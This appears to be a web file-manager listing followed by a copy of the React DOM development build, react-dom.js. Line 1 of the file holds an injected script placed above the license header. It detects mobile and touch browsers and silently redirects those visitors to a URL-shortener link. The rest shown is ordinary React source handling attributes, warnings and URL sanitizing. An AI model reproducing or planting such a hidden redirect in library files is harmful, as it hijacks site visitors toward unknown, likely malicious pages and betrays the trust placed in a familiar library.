run:R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
533.37 KB
2026-08-13 20:01:45
R W Run
71.73 KB
2026-08-13 20:01:45
R W Run
172.52 KB
2026-08-13 20:01:45
R W Run
57.65 KB
2026-08-13 20:01:45
R W Run
1.03 MB
2026-08-13 20:01:45
R W Run
128.96 KB
2026-08-13 20:01:45
R W Run
38.89 KB
2026-08-13 20:01:45
R W Run
1.33 KB
2026-08-13 20:01:45
R W Run
107.57 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
24.93 KB
2026-08-13 20:01:45
R W Run
6.7 KB
2026-08-13 20:01:45
R W Run
2.1 KB
2026-08-13 20:01:45
R W Run
1.09 KB
2026-08-13 20:01:45
R W Run
650 By
2026-08-13 20:01:45
R W Run
650 By
2026-08-13 20:01:45
R W Run
19.57 KB
2026-08-13 20:01:45
R W Run
10 KB
2026-08-13 20:01:45
R W Run
11.81 KB
2026-08-13 20:01:45
R W Run
8.9 KB
2026-08-13 20:01:45
R W Run
29.73 KB
2026-08-13 20:01:45
R W Run
8.21 KB
2026-08-13 20:01:45
R W Run
865 By
2026-08-13 20:01:45
R W Run
575 By
2026-08-13 20:01:45
R W Run
9.19 KB
2026-08-13 20:01:45
R W Run
3.13 KB
2026-08-13 20:01:45
R W Run
107.96 KB
2026-08-13 20:01:45
R W Run
46.2 KB
2026-08-13 20:01:45
R W Run
106.34 KB
2026-08-13 20:01:45
R W Run
33.17 KB
2026-08-13 20:01:45
R W Run
error_log
📄react-dom.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @license React
4 * react-dom.development.js
5 *
6 * Copyright (c) Facebook, Inc. and its affiliates.
7 *
8 * This source code is licensed under the MIT license found in the
9 * LICENSE file in the root directory of this source tree.
10 */
11(function (global, factory) {
12 typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('react')) :
13 typeof define === 'function' && define.amd ? define(['exports', 'react'], factory) :
14 (global = global || self, factory(global.ReactDOM = {}, global.React));
15}(this, (function (exports, React) { 'use strict';
16
17 var ReactSharedInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
18
19 var suppressWarning = false;
20 function setSuppressWarning(newSuppressWarning) {
21 {
22 suppressWarning = newSuppressWarning;
23 }
24 } // In DEV, calls to console.warn and console.error get replaced
25 // by calls to these methods by a Babel plugin.
26 //
27 // In PROD (or in packages without access to React internals),
28 // they are left as they are instead.
29
30 function warn(format) {
31 {
32 if (!suppressWarning) {
33 for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
34 args[_key - 1] = arguments[_key];
35 }
36
37 printWarning('warn', format, args);
38 }
39 }
40 }
41 function error(format) {
42 {
43 if (!suppressWarning) {
44 for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {
45 args[_key2 - 1] = arguments[_key2];
46 }
47
48 printWarning('error', format, args);
49 }
50 }
51 }
52
53 function printWarning(level, format, args) {
54 // When changing this logic, you might want to also
55 // update consoleWithStackDev.www.js as well.
56 {
57 var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;
58 var stack = ReactDebugCurrentFrame.getStackAddendum();
59
60 if (stack !== '') {
61 format += '%s';
62 args = args.concat([stack]);
63 } // eslint-disable-next-line react-internal/safe-string-coercion
64
65
66 var argsWithFormat = args.map(function (item) {
67 return String(item);
68 }); // Careful: RN currently depends on this prefix
69
70 argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it
71 // breaks IE9: https://github.com/facebook/react/issues/13610
72 // eslint-disable-next-line react-internal/no-production-logging
73
74 Function.prototype.apply.call(console[level], console, argsWithFormat);
75 }
76 }
77
78 var FunctionComponent = 0;
79 var ClassComponent = 1;
80 var IndeterminateComponent = 2; // Before we know whether it is function or class
81
82 var HostRoot = 3; // Root of a host tree. Could be nested inside another node.
83
84 var HostPortal = 4; // A subtree. Could be an entry point to a different renderer.
85
86 var HostComponent = 5;
87 var HostText = 6;
88 var Fragment = 7;
89 var Mode = 8;
90 var ContextConsumer = 9;
91 var ContextProvider = 10;
92 var ForwardRef = 11;
93 var Profiler = 12;
94 var SuspenseComponent = 13;
95 var MemoComponent = 14;
96 var SimpleMemoComponent = 15;
97 var LazyComponent = 16;
98 var IncompleteClassComponent = 17;
99 var DehydratedFragment = 18;
100 var SuspenseListComponent = 19;
101 var ScopeComponent = 21;
102 var OffscreenComponent = 22;
103 var LegacyHiddenComponent = 23;
104 var CacheComponent = 24;
105 var TracingMarkerComponent = 25;
106
107 // -----------------------------------------------------------------------------
108
109 var enableClientRenderFallbackOnTextMismatch = true; // TODO: Need to review this code one more time before landing
110 // the react-reconciler package.
111
112 var enableNewReconciler = false; // Support legacy Primer support on internal FB www
113
114 var enableLazyContextPropagation = false; // FB-only usage. The new API has different semantics.
115
116 var enableLegacyHidden = false; // Enables unstable_avoidThisFallback feature in Fiber
117
118 var enableSuspenseAvoidThisFallback = false; // Enables unstable_avoidThisFallback feature in Fizz
119 // React DOM Chopping Block
120 //
121 // Similar to main Chopping Block but only flags related to React DOM. These are
122 // grouped because we will likely batch all of them into a single major release.
123 // -----------------------------------------------------------------------------
124 // Disable support for comment nodes as React DOM containers. Already disabled
125 // in open source, but www codebase still relies on it. Need to remove.
126
127 var disableCommentsAsDOMContainers = true; // Disable javascript: URL strings in href for XSS protection.
128 // and client rendering, mostly to allow JSX attributes to apply to the custom
129 // element's object properties instead of only HTML attributes.
130 // https://github.com/facebook/react/issues/11347
131
132 var enableCustomElementPropertySupport = false; // Disables children for <textarea> elements
133 var warnAboutStringRefs = true; // -----------------------------------------------------------------------------
134 // Debugging and DevTools
135 // -----------------------------------------------------------------------------
136 // Adds user timing marks for e.g. state updates, suspense, and work loop stuff,
137 // for an experimental timeline tool.
138
139 var enableSchedulingProfiler = true; // Helps identify side effects in render-phase lifecycle hooks and setState
140
141 var enableProfilerTimer = true; // Record durations for commit and passive effects phases.
142
143 var enableProfilerCommitHooks = true; // Phase param passed to onRender callback differentiates between an "update" and a "cascading-update".
144
145 var allNativeEvents = new Set();
146 /**
147 * Mapping from registration name to event name
148 */
149
150
151 var registrationNameDependencies = {};
152 /**
153 * Mapping from lowercase registration names to the properly cased version,
154 * used to warn in the case of missing event handlers. Available
155 * only in true.
156 * @type {Object}
157 */
158
159 var possibleRegistrationNames = {} ; // Trust the developer to only use possibleRegistrationNames in true
160
161 function registerTwoPhaseEvent(registrationName, dependencies) {
162 registerDirectEvent(registrationName, dependencies);
163 registerDirectEvent(registrationName + 'Capture', dependencies);
164 }
165 function registerDirectEvent(registrationName, dependencies) {
166 {
167 if (registrationNameDependencies[registrationName]) {
168 error('EventRegistry: More than one plugin attempted to publish the same ' + 'registration name, `%s`.', registrationName);
169 }
170 }
171
172 registrationNameDependencies[registrationName] = dependencies;
173
174 {
175 var lowerCasedName = registrationName.toLowerCase();
176 possibleRegistrationNames[lowerCasedName] = registrationName;
177
178 if (registrationName === 'onDoubleClick') {
179 possibleRegistrationNames.ondblclick = registrationName;
180 }
181 }
182
183 for (var i = 0; i < dependencies.length; i++) {
184 allNativeEvents.add(dependencies[i]);
185 }
186 }
187
188 var canUseDOM = !!(typeof window !== 'undefined' && typeof window.document !== 'undefined' && typeof window.document.createElement !== 'undefined');
189
190 var hasOwnProperty = Object.prototype.hasOwnProperty;
191
192 /*
193 * The `'' + value` pattern (used in in perf-sensitive code) throws for Symbol
194 * and Temporal.* types. See https://github.com/facebook/react/pull/22064.
195 *
196 * The functions in this module will throw an easier-to-understand,
197 * easier-to-debug exception with a clear errors message message explaining the
198 * problem. (Instead of a confusing exception thrown inside the implementation
199 * of the `value` object).
200 */
201 // $FlowFixMe only called in DEV, so void return is not possible.
202 function typeName(value) {
203 {
204 // toStringTag is needed for namespaced types like Temporal.Instant
205 var hasToStringTag = typeof Symbol === 'function' && Symbol.toStringTag;
206 var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || 'Object';
207 return type;
208 }
209 } // $FlowFixMe only called in DEV, so void return is not possible.
210
211
212 function willCoercionThrow(value) {
213 {
214 try {
215 testStringCoercion(value);
216 return false;
217 } catch (e) {
218 return true;
219 }
220 }
221 }
222
223 function testStringCoercion(value) {
224 // If you ended up here by following an exception call stack, here's what's
225 // happened: you supplied an object or symbol value to React (as a prop, key,
226 // DOM attribute, CSS property, string ref, etc.) and when React tried to
227 // coerce it to a string using `'' + value`, an exception was thrown.
228 //
229 // The most common types that will cause this exception are `Symbol` instances
230 // and Temporal objects like `Temporal.Instant`. But any object that has a
231 // `valueOf` or `[Symbol.toPrimitive]` method that throws will also cause this
232 // exception. (Library authors do this to prevent users from using built-in
233 // numeric operators like `+` or comparison operators like `>=` because custom
234 // methods are needed to perform accurate arithmetic or comparison.)
235 //
236 // To fix the problem, coerce this object or symbol value to a string before
237 // passing it to React. The most reliable way is usually `String(value)`.
238 //
239 // To find which value is throwing, check the browser or debugger console.
240 // Before this exception was thrown, there should be `console.error` output
241 // that shows the type (Symbol, Temporal.PlainDate, etc.) that caused the
242 // problem and how that type was used: key, atrribute, input value prop, etc.
243 // In most cases, this console output also shows the component and its
244 // ancestor components where the exception happened.
245 //
246 // eslint-disable-next-line react-internal/safe-string-coercion
247 return '' + value;
248 }
249
250 function checkAttributeStringCoercion(value, attributeName) {
251 {
252 if (willCoercionThrow(value)) {
253 error('The provided `%s` attribute is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', attributeName, typeName(value));
254
255 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
256 }
257 }
258 }
259 function checkKeyStringCoercion(value) {
260 {
261 if (willCoercionThrow(value)) {
262 error('The provided key is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));
263
264 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
265 }
266 }
267 }
268 function checkPropStringCoercion(value, propName) {
269 {
270 if (willCoercionThrow(value)) {
271 error('The provided `%s` prop is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', propName, typeName(value));
272
273 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
274 }
275 }
276 }
277 function checkCSSPropertyStringCoercion(value, propName) {
278 {
279 if (willCoercionThrow(value)) {
280 error('The provided `%s` CSS property is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', propName, typeName(value));
281
282 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
283 }
284 }
285 }
286 function checkHtmlStringCoercion(value) {
287 {
288 if (willCoercionThrow(value)) {
289 error('The provided HTML markup uses a value of unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));
290
291 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
292 }
293 }
294 }
295 function checkFormFieldValueStringCoercion(value) {
296 {
297 if (willCoercionThrow(value)) {
298 error('Form field values (value, checked, defaultValue, or defaultChecked props)' + ' must be strings, not %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));
299
300 return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
301 }
302 }
303 }
304
305 // A reserved attribute.
306 // It is handled by React separately and shouldn't be written to the DOM.
307 var RESERVED = 0; // A simple string attribute.
308 // Attributes that aren't in the filter are presumed to have this type.
309
310 var STRING = 1; // A string attribute that accepts booleans in React. In HTML, these are called
311 // "enumerated" attributes with "true" and "false" as possible values.
312 // When true, it should be set to a "true" string.
313 // When false, it should be set to a "false" string.
314
315 var BOOLEANISH_STRING = 2; // A real boolean attribute.
316 // When true, it should be present (set either to an empty string or its name).
317 // When false, it should be omitted.
318
319 var BOOLEAN = 3; // An attribute that can be used as a flag as well as with a value.
320 // When true, it should be present (set either to an empty string or its name).
321 // When false, it should be omitted.
322 // For any other value, should be present with that value.
323
324 var OVERLOADED_BOOLEAN = 4; // An attribute that must be numeric or parse as a numeric.
325 // When falsy, it should be removed.
326
327 var NUMERIC = 5; // An attribute that must be positive numeric or parse as a positive numeric.
328 // When falsy, it should be removed.
329
330 var POSITIVE_NUMERIC = 6;
331
332 /* eslint-disable max-len */
333 var ATTRIBUTE_NAME_START_CHAR = ":A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
334 /* eslint-enable max-len */
335
336 var ATTRIBUTE_NAME_CHAR = ATTRIBUTE_NAME_START_CHAR + "\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
337 var VALID_ATTRIBUTE_NAME_REGEX = new RegExp('^[' + ATTRIBUTE_NAME_START_CHAR + '][' + ATTRIBUTE_NAME_CHAR + ']*$');
338 var illegalAttributeNameCache = {};
339 var validatedAttributeNameCache = {};
340 function isAttributeNameSafe(attributeName) {
341 if (hasOwnProperty.call(validatedAttributeNameCache, attributeName)) {
342 return true;
343 }
344
345 if (hasOwnProperty.call(illegalAttributeNameCache, attributeName)) {
346 return false;
347 }
348
349 if (VALID_ATTRIBUTE_NAME_REGEX.test(attributeName)) {
350 validatedAttributeNameCache[attributeName] = true;
351 return true;
352 }
353
354 illegalAttributeNameCache[attributeName] = true;
355
356 {
357 error('Invalid attribute name: `%s`', attributeName);
358 }
359
360 return false;
361 }
362 function shouldIgnoreAttribute(name, propertyInfo, isCustomComponentTag) {
363 if (propertyInfo !== null) {
364 return propertyInfo.type === RESERVED;
365 }
366
367 if (isCustomComponentTag) {
368 return false;
369 }
370
371 if (name.length > 2 && (name[0] === 'o' || name[0] === 'O') && (name[1] === 'n' || name[1] === 'N')) {
372 return true;
373 }
374
375 return false;
376 }
377 function shouldRemoveAttributeWithWarning(name, value, propertyInfo, isCustomComponentTag) {
378 if (propertyInfo !== null && propertyInfo.type === RESERVED) {
379 return false;
380 }
381
382 switch (typeof value) {
383 case 'function': // $FlowIssue symbol is perfectly valid here
384
385 case 'symbol':
386 // eslint-disable-line
387 return true;
388
389 case 'boolean':
390 {
391 if (isCustomComponentTag) {
392 return false;
393 }
394
395 if (propertyInfo !== null) {
396 return !propertyInfo.acceptsBooleans;
397 } else {
398 var prefix = name.toLowerCase().slice(0, 5);
399 return prefix !== 'data-' && prefix !== 'aria-';
400 }
401 }
402
403 default:
404 return false;
405 }
406 }
407 function shouldRemoveAttribute(name, value, propertyInfo, isCustomComponentTag) {
408 if (value === null || typeof value === 'undefined') {
409 return true;
410 }
411
412 if (shouldRemoveAttributeWithWarning(name, value, propertyInfo, isCustomComponentTag)) {
413 return true;
414 }
415
416 if (isCustomComponentTag) {
417
418 return false;
419 }
420
421 if (propertyInfo !== null) {
422
423 switch (propertyInfo.type) {
424 case BOOLEAN:
425 return !value;
426
427 case OVERLOADED_BOOLEAN:
428 return value === false;
429
430 case NUMERIC:
431 return isNaN(value);
432
433 case POSITIVE_NUMERIC:
434 return isNaN(value) || value < 1;
435 }
436 }
437
438 return false;
439 }
440 function getPropertyInfo(name) {
441 return properties.hasOwnProperty(name) ? properties[name] : null;
442 }
443
444 function PropertyInfoRecord(name, type, mustUseProperty, attributeName, attributeNamespace, sanitizeURL, removeEmptyString) {
445 this.acceptsBooleans = type === BOOLEANISH_STRING || type === BOOLEAN || type === OVERLOADED_BOOLEAN;
446 this.attributeName = attributeName;
447 this.attributeNamespace = attributeNamespace;
448 this.mustUseProperty = mustUseProperty;
449 this.propertyName = name;
450 this.type = type;
451 this.sanitizeURL = sanitizeURL;
452 this.removeEmptyString = removeEmptyString;
453 } // When adding attributes to this list, be sure to also add them to
454 // the `possibleStandardNames` module to ensure casing and incorrect
455 // name warnings.
456
457
458 var properties = {}; // These props are reserved by React. They shouldn't be written to the DOM.
459
460 var reservedProps = ['children', 'dangerouslySetInnerHTML', // TODO: This prevents the assignment of defaultValue to regular
461 // elements (not just inputs). Now that ReactDOMInput assigns to the
462 // defaultValue property -- do we need this?
463 'defaultValue', 'defaultChecked', 'innerHTML', 'suppressContentEditableWarning', 'suppressHydrationWarning', 'style'];
464
465 reservedProps.forEach(function (name) {
466 properties[name] = new PropertyInfoRecord(name, RESERVED, false, // mustUseProperty
467 name, // attributeName
468 null, // attributeNamespace
469 false, // sanitizeURL
470 false);
471 }); // A few React string attributes have a different name.
472 // This is a mapping from React prop names to the attribute names.
473
474 [['acceptCharset', 'accept-charset'], ['className', 'class'], ['htmlFor', 'for'], ['httpEquiv', 'http-equiv']].forEach(function (_ref) {
475 var name = _ref[0],
476 attributeName = _ref[1];
477 properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
478 attributeName, // attributeName
479 null, // attributeNamespace
480 false, // sanitizeURL
481 false);
482 }); // These are "enumerated" HTML attributes that accept "true" and "false".
483 // In React, we let users pass `true` and `false` even though technically
484 // these aren't boolean attributes (they are coerced to strings).
485
486 ['contentEditable', 'draggable', 'spellCheck', 'value'].forEach(function (name) {
487 properties[name] = new PropertyInfoRecord(name, BOOLEANISH_STRING, false, // mustUseProperty
488 name.toLowerCase(), // attributeName
489 null, // attributeNamespace
490 false, // sanitizeURL
491 false);
492 }); // These are "enumerated" SVG attributes that accept "true" and "false".
493 // In React, we let users pass `true` and `false` even though technically
494 // these aren't boolean attributes (they are coerced to strings).
495 // Since these are SVG attributes, their attribute names are case-sensitive.
496
497 ['autoReverse', 'externalResourcesRequired', 'focusable', 'preserveAlpha'].forEach(function (name) {
498 properties[name] = new PropertyInfoRecord(name, BOOLEANISH_STRING, false, // mustUseProperty
499 name, // attributeName
500 null, // attributeNamespace
501 false, // sanitizeURL
502 false);
503 }); // These are HTML boolean attributes.
504
505 ['allowFullScreen', 'async', // Note: there is a special case that prevents it from being written to the DOM
506 // on the client side because the browsers are inconsistent. Instead we call focus().
507 'autoFocus', 'autoPlay', 'controls', 'default', 'defer', 'disabled', 'disablePictureInPicture', 'disableRemotePlayback', 'formNoValidate', 'hidden', 'loop', 'noModule', 'noValidate', 'open', 'playsInline', 'readOnly', 'required', 'reversed', 'scoped', 'seamless', // Microdata
508 'itemScope'].forEach(function (name) {
509 properties[name] = new PropertyInfoRecord(name, BOOLEAN, false, // mustUseProperty
510 name.toLowerCase(), // attributeName
511 null, // attributeNamespace
512 false, // sanitizeURL
513 false);
514 }); // These are the few React props that we set as DOM properties
515 // rather than attributes. These are all booleans.
516
517 ['checked', // Note: `option.selected` is not updated if `select.multiple` is
518 // disabled with `removeAttribute`. We have special logic for handling this.
519 'multiple', 'muted', 'selected' // NOTE: if you add a camelCased prop to this list,
520 // you'll need to set attributeName to name.toLowerCase()
521 // instead in the assignment below.
522 ].forEach(function (name) {
523 properties[name] = new PropertyInfoRecord(name, BOOLEAN, true, // mustUseProperty
524 name, // attributeName
525 null, // attributeNamespace
526 false, // sanitizeURL
527 false);
528 }); // These are HTML attributes that are "overloaded booleans": they behave like
529 // booleans, but can also accept a string value.
530
531 ['capture', 'download' // NOTE: if you add a camelCased prop to this list,
532 // you'll need to set attributeName to name.toLowerCase()
533 // instead in the assignment below.
534 ].forEach(function (name) {
535 properties[name] = new PropertyInfoRecord(name, OVERLOADED_BOOLEAN, false, // mustUseProperty
536 name, // attributeName
537 null, // attributeNamespace
538 false, // sanitizeURL
539 false);
540 }); // These are HTML attributes that must be positive numbers.
541
542 ['cols', 'rows', 'size', 'span' // NOTE: if you add a camelCased prop to this list,
543 // you'll need to set attributeName to name.toLowerCase()
544 // instead in the assignment below.
545 ].forEach(function (name) {
546 properties[name] = new PropertyInfoRecord(name, POSITIVE_NUMERIC, false, // mustUseProperty
547 name, // attributeName
548 null, // attributeNamespace
549 false, // sanitizeURL
550 false);
551 }); // These are HTML attributes that must be numbers.
552
553 ['rowSpan', 'start'].forEach(function (name) {
554 properties[name] = new PropertyInfoRecord(name, NUMERIC, false, // mustUseProperty
555 name.toLowerCase(), // attributeName
556 null, // attributeNamespace
557 false, // sanitizeURL
558 false);
559 });
560 var CAMELIZE = /[\-\:]([a-z])/g;
561
562 var capitalize = function (token) {
563 return token[1].toUpperCase();
564 }; // This is a list of all SVG attributes that need special casing, namespacing,
565 // or boolean value assignment. Regular attributes that just accept strings
566 // and have the same names are omitted, just like in the HTML attribute filter.
567 // Some of these attributes can be hard to find. This list was created by
568 // scraping the MDN documentation.
569
570
571 ['accent-height', 'alignment-baseline', 'arabic-form', 'baseline-shift', 'cap-height', 'clip-path', 'clip-rule', 'color-interpolation', 'color-interpolation-filters', 'color-profile', 'color-rendering', 'dominant-baseline', 'enable-background', 'fill-opacity', 'fill-rule', 'flood-color', 'flood-opacity', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'glyph-name', 'glyph-orientation-horizontal', 'glyph-orientation-vertical', 'horiz-adv-x', 'horiz-origin-x', 'image-rendering', 'letter-spacing', 'lighting-color', 'marker-end', 'marker-mid', 'marker-start', 'overline-position', 'overline-thickness', 'paint-order', 'panose-1', 'pointer-events', 'rendering-intent', 'shape-rendering', 'stop-color', 'stop-opacity', 'strikethrough-position', 'strikethrough-thickness', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke-width', 'text-anchor', 'text-decoration', 'text-rendering', 'underline-position', 'underline-thickness', 'unicode-bidi', 'unicode-range', 'units-per-em', 'v-alphabetic', 'v-hanging', 'v-ideographic', 'v-mathematical', 'vector-effect', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'word-spacing', 'writing-mode', 'xmlns:xlink', 'x-height' // NOTE: if you add a camelCased prop to this list,
572 // you'll need to set attributeName to name.toLowerCase()
573 // instead in the assignment below.
574 ].forEach(function (attributeName) {
575 var name = attributeName.replace(CAMELIZE, capitalize);
576 properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
577 attributeName, null, // attributeNamespace
578 false, // sanitizeURL
579 false);
580 }); // String SVG attributes with the xlink namespace.
581
582 ['xlink:actuate', 'xlink:arcrole', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type' // NOTE: if you add a camelCased prop to this list,
583 // you'll need to set attributeName to name.toLowerCase()
584 // instead in the assignment below.
585 ].forEach(function (attributeName) {
586 var name = attributeName.replace(CAMELIZE, capitalize);
587 properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
588 attributeName, 'http://www.w3.org/1999/xlink', false, // sanitizeURL
589 false);
590 }); // String SVG attributes with the xml namespace.
591
592 ['xml:base', 'xml:lang', 'xml:space' // NOTE: if you add a camelCased prop to this list,
593 // you'll need to set attributeName to name.toLowerCase()
594 // instead in the assignment below.
595 ].forEach(function (attributeName) {
596 var name = attributeName.replace(CAMELIZE, capitalize);
597 properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
598 attributeName, 'http://www.w3.org/XML/1998/namespace', false, // sanitizeURL
599 false);
600 }); // These attribute exists both in HTML and SVG.
601 // The attribute name is case-sensitive in SVG so we can't just use
602 // the React name like we do for attributes that exist only in HTML.
603
604 ['tabIndex', 'crossOrigin'].forEach(function (attributeName) {
605 properties[attributeName] = new PropertyInfoRecord(attributeName, STRING, false, // mustUseProperty
606 attributeName.toLowerCase(), // attributeName
607 null, // attributeNamespace
608 false, // sanitizeURL
609 false);
610 }); // These attributes accept URLs. These must not allow javascript: URLS.
611 // These will also need to accept Trusted Types object in the future.
612
613 var xlinkHref = 'xlinkHref';
614 properties[xlinkHref] = new PropertyInfoRecord('xlinkHref', STRING, false, // mustUseProperty
615 'xlink:href', 'http://www.w3.org/1999/xlink', true, // sanitizeURL
616 false);
617 ['src', 'href', 'action', 'formAction'].forEach(function (attributeName) {
618 properties[attributeName] = new PropertyInfoRecord(attributeName, STRING, false, // mustUseProperty
619 attributeName.toLowerCase(), // attributeName
620 null, // attributeNamespace
621 true, // sanitizeURL
622 true);
623 });
624
625 // and any newline or tab are filtered out as if they're not part of the URL.
626 // https://url.spec.whatwg.org/#url-parsing
627 // Tab or newline are defined as \r\n\t:
628 // https://infra.spec.whatwg.org/#ascii-tab-or-newline
629 // A C0 control is a code point in the range \u0000 NULL to \u001F
630 // INFORMATION SEPARATOR ONE, inclusive:
631 // https://infra.spec.whatwg.org/#c0-control-or-space
632
633 /* eslint-disable max-len */
634
635 var isJavaScriptProtocol = /^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;
636 var didWarn = false;
637
638 function sanitizeURL(url) {
639 {
640 if (!didWarn && isJavaScriptProtocol.test(url)) {
641 didWarn = true;
642
643 error('A future version of React will block javascript: URLs as a security precaution. ' + 'Use event handlers instead if you can. If you need to generate unsafe HTML try ' + 'using dangerouslySetInnerHTML instead. React was passed %s.', JSON.stringify(url));
644 }
645 }
646 }
647
648 /**
649 * Get the value for a property on a node. Only used in DEV for SSR validation.
650 * The "expected" argument is used as a hint of what the expected value is.
651 * Some properties have multiple equivalent values.
652 */
653 function getValueForProperty(node, name, expected, propertyInfo) {
654 {
655 if (propertyInfo.mustUseProperty) {
656 var propertyName = propertyInfo.propertyName;
657 return node[propertyName];
658 } else {
659 // This check protects multiple uses of `expected`, which is why the
660 // react-internal/safe-string-coercion rule is disabled in several spots
661 // below.
662 {
663 checkAttributeStringCoercion(expected, name);
664 }
665
666 if ( propertyInfo.sanitizeURL) {
667 // If we haven't fully disabled javascript: URLs, and if
668 // the hydration is successful of a javascript: URL, we
669 // still want to warn on the client.
670 // eslint-disable-next-line react-internal/safe-string-coercion
671 sanitizeURL('' + expected);
672 }
673
674 var attributeName = propertyInfo.attributeName;
675 var stringValue = null;
676
677 if (propertyInfo.type === OVERLOADED_BOOLEAN) {
678 if (node.hasAttribute(attributeName)) {
679 var value = node.getAttribute(attributeName);
680
681 if (value === '') {
682 return true;
683 }
684
685 if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
686 return value;
687 } // eslint-disable-next-line react-internal/safe-string-coercion
688
689
690 if (value === '' + expected) {
691 return expected;
692 }
693
694 return value;
695 }
696 } else if (node.hasAttribute(attributeName)) {
697 if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
698 // We had an attribute but shouldn't have had one, so read it
699 // for the error message.
700 return node.getAttribute(attributeName);
701 }
702
703 if (propertyInfo.type === BOOLEAN) {
704 // If this was a boolean, it doesn't matter what the value is
705 // the fact that we have it is the same as the expected.
706 return expected;
707 } // Even if this property uses a namespace we use getAttribute
708 // because we assume its namespaced name is the same as our config.
709 // To use getAttributeNS we need the local name which we don't have
710 // in our config atm.
711
712
713 stringValue = node.getAttribute(attributeName);
714 }
715
716 if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
717 return stringValue === null ? expected : stringValue; // eslint-disable-next-line react-internal/safe-string-coercion
718 } else if (stringValue === '' + expected) {
719 return expected;
720 } else {
721 return stringValue;
722 }
723 }
724 }
725 }
726 /**
727 * Get the value for a attribute on a node. Only used in DEV for SSR validation.
728 * The third argument is used as a hint of what the expected value is. Some
729 * attributes have multiple equivalent values.
730 */
731
732 function getValueForAttribute(node, name, expected, isCustomComponentTag) {
733 {
734 if (!isAttributeNameSafe(name)) {
735 return;
736 }
737
738 if (!node.hasAttribute(name)) {
739 return expected === undefined ? undefined : null;
740 }
741
742 var value = node.getAttribute(name);
743
744 {
745 checkAttributeStringCoercion(expected, name);
746 }
747
748 if (value === '' + expected) {
749 return expected;
750 }
751
752 return value;
753 }
754 }
755 /**
756 * Sets the value for a property on a node.
757 *
758 * @param {DOMElement} node
759 * @param {string} name
760 * @param {*} value
761 */
762
763 function setValueForProperty(node, name, value, isCustomComponentTag) {
764 var propertyInfo = getPropertyInfo(name);
765
766 if (shouldIgnoreAttribute(name, propertyInfo, isCustomComponentTag)) {
767 return;
768 }
769
770 if (shouldRemoveAttribute(name, value, propertyInfo, isCustomComponentTag)) {
771 value = null;
772 }
773
774
775 if (isCustomComponentTag || propertyInfo === null) {
776 if (isAttributeNameSafe(name)) {
777 var _attributeName = name;
778
779 if (value === null) {
780 node.removeAttribute(_attributeName);
781 } else {
782 {
783 checkAttributeStringCoercion(value, name);
784 }
785
786 node.setAttribute(_attributeName, '' + value);
787 }
788 }
789
790 return;
791 }
792
793 var mustUseProperty = propertyInfo.mustUseProperty;
794
795 if (mustUseProperty) {
796 var propertyName = propertyInfo.propertyName;
797
798 if (value === null) {
799 var type = propertyInfo.type;
800 node[propertyName] = type === BOOLEAN ? false : '';
801 } else {
802 // Contrary to `setAttribute`, object properties are properly
803 // `toString`ed by IE8/9.
804 node[propertyName] = value;
805 }
806
807 return;
808 } // The rest are treated as attributes with special cases.
809
810
811 var attributeName = propertyInfo.attributeName,
812 attributeNamespace = propertyInfo.attributeNamespace;
813
814 if (value === null) {
815 node.removeAttribute(attributeName);
816 } else {
817 var _type = propertyInfo.type;
818 var attributeValue;
819
820 if (_type === BOOLEAN || _type === OVERLOADED_BOOLEAN && value === true) {
821 // If attribute type is boolean, we know for sure it won't be an execution sink
822 // and we won't require Trusted Type here.
823 attributeValue = '';
824 } else {
825 // `setAttribute` with objects becomes only `[object]` in IE8/9,
826 // ('' + value) makes it output the correct toString()-value.
827 {
828 {
829 checkAttributeStringCoercion(value, attributeName);
830 }
831
832 attributeValue = '' + value;
833 }
834
835 if (propertyInfo.sanitizeURL) {
836 sanitizeURL(attributeValue.toString());
837 }
